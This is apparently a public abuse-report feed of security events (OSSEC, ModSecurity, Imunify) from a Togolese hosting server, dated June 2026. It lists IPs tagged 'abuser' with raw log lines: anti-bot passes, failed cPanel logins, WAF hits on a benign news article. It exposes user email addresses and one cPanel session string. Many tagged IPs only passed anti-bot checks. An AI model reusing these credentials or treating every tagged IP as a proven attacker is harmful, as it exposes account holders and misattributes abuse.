

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.110.161.130
country_id: 3017382
description:
103.110.161.130 - - [22/Jun/2026:11:03:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183254&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fdecembre-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126233 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/decembre-2025/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.2032.1938 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.110.161.130


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-22 11:05:07 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.61.85.45
country_id: 2623032
description:
109.61.85.45 - - [22/Jun/2026:11:05:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209129&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126322 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.61.85.45


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:11:10:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250600&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126616 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:11:10:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842781&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126616 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-22 11:09:36 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 11:09:58 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.119.99.90
country_id: 1831722
description:
103.119.99.90 - - [22/Jun/2026:11:15:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789741&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126915 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.119.99.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.58
country_id: 2750405
description:
192.42.116.58 - newistm [22/Jun/2026:11:16:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066021&pdata=https%253A%252F%252Fnew.istm.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126988 HTTP/2.0" 302 0 new.istm.tg "https://new.istm.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.58


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.206.31
country_id: 1643084
description:
[2026-06-22 11:17:00 +0000] info [cpaneld] 157.85.206.31 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.206.31
country_id: 1643084
description:
[2026-06-22 11:17:30 +0000] info [cpaneld] 157.85.206.31 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 11:18:34 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-22 11:18:57 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 196.171.26.211
country_id: 2363686
domain: afriquerevelation.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[wp_autosave][content]||MV:<span class=\"font-chirp max-w-full whitespace-pre-wrap break-words text-inherit text-[length:inherit] font-normal\">Sous le leadership du Pr\xc3\xa9sident du Conseil, </span><span class=\"font-chirp max-w-full whitespace-pre-wrap break-words text-inherit text-[length:inherit] font-normal\">le gouvernement fixe le cap 2026-2031. Durant cette p\xc3\xa9riode, l\xe2\x80\x99action publique, ax\xc3\xa9e sur l'exigence de r\xc3\xa9sultats concrets, visera \xc3\xa0 Prot\xc3\xa9ger, Rassembler et Transformer.</span>\n\nLe Togo s\xe2\x80\x99appr\xc3\xaate \xc3\xa0 disposer d\xe2\x80\x99un nouveau plan strat\xc3\xa9gique qui orientera l\xe2\x80\x99action publique pour les prochaines ann\xc3\xa9es. Le gouvernement,\xc2\xa0<a href=\"https://www.republiquetogolaise.tg/gestion-publique/0804-11769-evaluation-de-la-feuille-de-route-et-nouvelles-orientations-de-l-action-publique-le-gouvernement-en-seminaire\">r\xc3\xa9uni en s\xc3\xa9minaire \xc3\xa0 Lom\xc3\xa9</a>\xc2\xa0les 7 et 8 avril, a officiellement lanc\xc3\xa9 le processus de formulation des programmes de la Feuille de route gouvernementale pour la p\xc3\xa9riode 2026-2031.\n\nAu Togo, le processus de formulation de la\xc2\xa0<a href=\"https://www.republiquetogolaise.tg/gestion-publique/1004-11780-feuille-de-route-2026-2031-le-togo-se-fixe-un-nouveau-cap\">nouvelle feuille de route</a>\xc2\xa0de d\xc3\xa9veloppement pour la p\xc3\xa9riode 2026-2031 franchira bient\xc3\xb4t une nouvelle \xc3\xa9tape. \xe2\x80\x9c<em>Une phase d\xe2\x80\x99\xc3\xa9changes sera engag\xc3\xa9e, dans les prochaines semaines, avec les institutions, le secteur priv\xc3\xa9, la soci\xc3\xa9t\xc3\xa9 civile, et les partenaires</em>\xe2\x80\x9d, a annonc\xc3\xa9 le lundi 27 avril le Pr\xc3\xa9sident du Conseil, Faure Essozimna Gnassingb\xc3\xa9, lors de son\xc2\xa0<a href=\"https://www.republiquetogolaise.tg/gestion-publique/2804-11839-27-avril-2026-adresse-du-president-du-conseil-a-la-nation\">adresse \xc3\xa0 la Nation</a>.\n\n<img class=\"\" src=\"https://www.republiquetogolaise.tg/media/k2/items/cache/68f2e9adc850365a2bc90f1794b07241_XL.jpg\" alt=\"Feuille de route 2026-2031 : le Togo se fixe un nouveau cap\" width=\"590\" height=\"332\" />\n<p class=\"textearticle\"><strong>Articul\xc3\xa9 autour du triptyque \xe2\x80\x98Prot\xc3\xa9ger - Rassembler - Transformer\xe2\x80\x99</strong></p>\n<p class=\"textearticle\">Appel\xc3\xa9e \xc3\xa0 prendre la rel\xc3\xa8ve de la FDR 2020-2025 ex\xc3\xa9cut\xc3\xa9e \xc3\xa0 68,79% dans un contexte marqu\xc3\xa9 par des bouleversements divers, la nouvelle feuille de route entend s\xe2\x80\x99articuler autour de trois exigences\xc2\xa0: Prot\xc3\xa9ger - Rassembler - Transformer. Elle devra en outre, sur la base des enseignements tir\xc3\xa9s du plan pr\xc3\xa9c\xc3\xa9dent, s\xe2\x80\x99appuyer sur des principes directeurs assum\xc3\xa9s\xc2\xa0: une s\xc3\xa9lectivit\xc3\xa9 accrue dans le choix des priorit\xc3\xa9s, une rupture avec la logique des silos sectoriels, une discipline renforc\xc3\xa9e dans la planification, le suivi et l'\xc3\xa9valuation, ou encore, un ancrage dans la r\xc3\xa9alit\xc3\xa9 macro\xc3\xa9conomique et du contexte mondial.</p>\n<p class=\"textearticle\">\xe2\x80\x9c<em>Une strat\xc3\xa9gie, aussi bonne soit-elle, ne r\xc3\xa9ussit pas seule. Elle ne r\xc3\xa9ussit que si elle est port\xc3\xa9e, partag\xc3\xa9e, appropri\xc3\xa9e. La Ve R\xc3\xa9publique nous engage \xc3\xa0 changer notre mani\xc3\xa8re de faire</em>\xe2\x80\x9d, a exhort\xc3\xa9 Faure Gnassingb\xc3\xa9, avant de souhaiter \xe2\x80\x9c<em>une action publique plus ouverte, plus concert\xc3\xa9e, plus responsable</em>\xe2\x80\x9d.</p>||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.156.106
country_id: 1880251
description:
104.28.156.106 - - [22/Jun/2026:11:20:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039131&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782127205 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 13; 21061110AG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.156.106


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 196.171.26.211
country_id: 2363686
domain: afriquerevelation.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[wp_autosave][content]||MV:&nbsp;\n\nLe Togo s\xe2\x80\x99appr\xc3\xaate \xc3\xa0 disposer d\xe2\x80\x99un nouveau plan strat\xc3\xa9gique qui orientera l\xe2\x80\x99action publique pour les prochaines ann\xc3\xa9es. Le gouvernement,\xc2\xa0<a href=\"https://www.republiquetogolaise.tg/gestion-publique/0804-11769-evaluation-de-la-feuille-de-route-et-nouvelles-orientations-de-l-action-publique-le-gouvernement-en-seminaire\">r\xc3\xa9uni en s\xc3\xa9minaire \xc3\xa0 Lom\xc3\xa9</a>\xc2\xa0les 7 et 8 avril, a officiellement lanc\xc3\xa9 le processus de formulation des programmes de la Feuille de route gouvernementale pour la p\xc3\xa9riode 2026-2031.\n\nLe processus de formulation de la <a href=\"https://www.republiquetogolaise.tg/gestion-publique/1004-11780-feuille-de-route-2026-2031-le-togo-se-fixe-un-nouveau-cap\">nouvelle feuille de route</a>\xc2\xa0de d\xc3\xa9veloppement pour la p\xc3\xa9riode 2026-2031 franchira bient\xc3\xb4t une nouvelle \xc3\xa9tape. \xe2\x80\x9c<em>Une phase d\xe2\x80\x99\xc3\xa9changes sera engag\xc3\xa9e, dans les prochaines semaines, avec les institutions, le secteur priv\xc3\xa9, la soci\xc3\xa9t\xc3\xa9 civile, et les partenaires</em>\xe2\x80\x9d, a annonc\xc3\xa9 le lundi 27 avril le Pr\xc3\xa9sident du Conseil, Faure Essozimna Gnassingb\xc3\xa9, lors de son\xc2\xa0<a href=\"https://www.republiquetogolaise.tg/gestion-publique/2804-11839-27-avril-2026-adresse-du-president-du-conseil-a-la-nation\">adresse \xc3\xa0 la Nation</a>.\n\n<img class=\"\" src=\"https://www.republiquetogolaise.tg/media/k2/items/cache/68f2e9adc850365a2bc90f1794b07241_XL.jpg\" alt=\"Feuille de route 2026-2031 : le Togo se fixe un nouveau cap\" width=\"590\" height=\"332\" />\n<p class=\"textearticle\"><strong>Articul\xc3\xa9 autour du triptyque \xe2\x80\x98Prot\xc3\xa9ger - Rassembler - Transformer\xe2\x80\x99</strong></p>\n<p class=\"textearticle\">Appel\xc3\xa9e \xc3\xa0 prendre la rel\xc3\xa8ve de la FDR 2020-2025 ex\xc3\xa9cut\xc3\xa9e \xc3\xa0 68,79% dans un contexte marqu\xc3\xa9 par des bouleversements divers, la nouvelle feuille de route entend s\xe2\x80\x99articuler autour de trois exigences\xc2\xa0: Prot\xc3\xa9ger - Rassembler - Transformer. Elle devra en outre, sur la base des enseignements tir\xc3\xa9s du plan pr\xc3\xa9c\xc3\xa9dent, s\xe2\x80\x99appuyer sur des principes directeurs assum\xc3\xa9s\xc2\xa0: une s\xc3\xa9lectivit\xc3\xa9 accrue dans le choix des priorit\xc3\xa9s, une rupture avec la logique des silos sectoriels, une discipline renforc\xc3\xa9e dans la planification, le suivi et l'\xc3\xa9valuation, ou encore, un ancrage dans la r\xc3\xa9alit\xc3\xa9 macro\xc3\xa9conomique et du contexte mondial.</p>\n<p class=\"textearticle\">\xe2\x80\x9c<em>Une strat\xc3\xa9gie, aussi bonne soit-elle, ne r\xc3\xa9ussit pas seule. Elle ne r\xc3\xa9ussit que si elle est port\xc3\xa9e, partag\xc3\xa9e, appropri\xc3\xa9e. La Ve R\xc3\xa9publique nous engage \xc3\xa0 changer notre mani\xc3\xa8re de faire</em>\xe2\x80\x9d, a exhort\xc3\xa9 Faure Gnassingb\xc3\xa9, avant de souhaiter \xe2\x80\x9c<em>une action publique plus ouverte, plus concert\xc3\xa9e, plus responsable</em>\xe2\x80\x9d.</p>||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.91.245
country_id: 2363686
description:
[2026-06-22 11:22:13 +0000] info [webmaild] 154.70.91.245 - support@cloud-et-racks.tg "POST /cpsess3011278296/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [154.70.91.245]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.219.245.21
country_id: 1269750
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/djama-pilsner HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.181.85.223
country_id: 130758
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/sponsoring HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.243.1.120
country_id: 798544
domain: www.loanunder36.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.loanunder36.com/schedule-a-tour/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.50.212.202
country_id: 6252001
description:
149.50.212.202 - - [22/Jun/2026:11:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080474&pdata=http%253A%252F%252Fscafricaplc.com%252Fcgi-bin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782127608 HTTP/1.1" 302 0 scafricaplc.com "http://scafricaplc.com/cgi-bin/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.50.212.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 110.76.128.160
country_id: 1210997
description:
110.76.128.160 - - [22/Jun/2026:11:26:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739669&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Fpeche%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782127598 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/peche/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.7611.1550 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:110.76.128.160


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:11:26:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092971&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782127598 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:11:26:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989783&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782127601 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.25.193.45
country_id: 2661886
description:
[2026-06-22 11:30:24 +0000] info [cpaneld] 171.25.193.45 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.45
country_id: 2661886
description:
171.25.193.45 - - [22/Jun/2026:11:30:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987174&pdata=https%3A%2F%2Flacs1.mairie.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782127820 HTTP/1.1" 302 0 lacs1.mairie.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.45


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.50
country_id: 6252001
description:
205.169.39.50 - - [22/Jun/2026:11:33:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10326885&pdata=http%253A%252F%252Fchuso.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782128037 HTTP/1.1" 302 0 chuso.tg "http://chuso.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"205.169.39.50" CAPTCHA:"0" PEER:162.158.174.5


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-22 11:34:22 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.207.186.41
country_id: 2363686
description:
[2026-06-22 11:35:26 +0000] info [cpaneld] 41.207.186.41 - emupgdkn "GET /cpsess6590910537/frontend/jupiter/index.html?=undefined&login=1&post_login=34217382187726 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [102.64.223.215] != Current IP Address [41.207.186.41]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.22.207.250
country_id: 1643084
description:
[2026-06-22 11:36:32 +0000] info [cpaneld] 160.22.207.250 - 2002281 "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.99.254.106
country_id: 2921044
description:
Jun 22 11:37:47 ns5 pure-ftpd[2440416]: (?@167.99.254.106) [INFO] New connection from 167.99.254.106


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.19.251
country_id: 2921044
description:
[2026-06-22 11:39:52 +0000] info [cpaneld] 195.63.19.251 - cietg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:11:40:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7366555&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782128456 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:11:41:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181412&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782128463 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.16.153
country_id: 2300660
description:
Jun 22 11:42:33 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.16.153 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.199.133
country_id: 2363686
description:
[2026-06-22 11:46:44 +0000] info [cpaneld] 196.168.199.133 NEW aketoglo@otr.tg:xdYP94h2jnv4lRL5 address=196.168.199.133,app=cpaneld,creator=aketoglo@otr.tg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.74.20
country_id: 2623032
description:
158.173.74.20 - - [22/Jun/2026:11:49:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988248&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782128978 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.20


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.45.1.130
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/08/1306-1437-travis-bastin-2-30-pm-General-Arrivals-and-Departures-1077-768x700-1.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/08/1306-1437-travis-bastin-2-30-pm-General-Arrivals-and-Departures-1077-768x700-1-300x273.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.130.204.60
country_id: 2963597
description:
[2026-06-22 11:53:29 +0000] info [cpaneld] 108.130.204.60 - ruuwezvf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-22 11:54:45 dovecot_login authenticator failed for H=(BATABA) [196.170.122.162]:51291: 535 Incorrect authentication data


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:11:56:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186440&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782129402 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:11:56:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739368&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782129404 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:11:57:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7443306&pdata=http%253A%252F%252Fauditeccandco.com.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782129469 HTTP/1.1" 302 0 auditeccandco.com.154-70-82-246.cpanel.site "http://auditeccandco.com.154-70-82-246.cpanel.site/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-22 11:58:23 +0000] info [webmaild] 196.171.46.177 - sandra.amana@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.174.131.103
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/01/asso-1.jpg 480w, http:/togodailynews.tg/wp-content/uploads/2021/01/asso-1-150x150.jpg 150w, http:/togodailynews.tg/wp-content/uploads/2021/01/asso-1-300x300.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
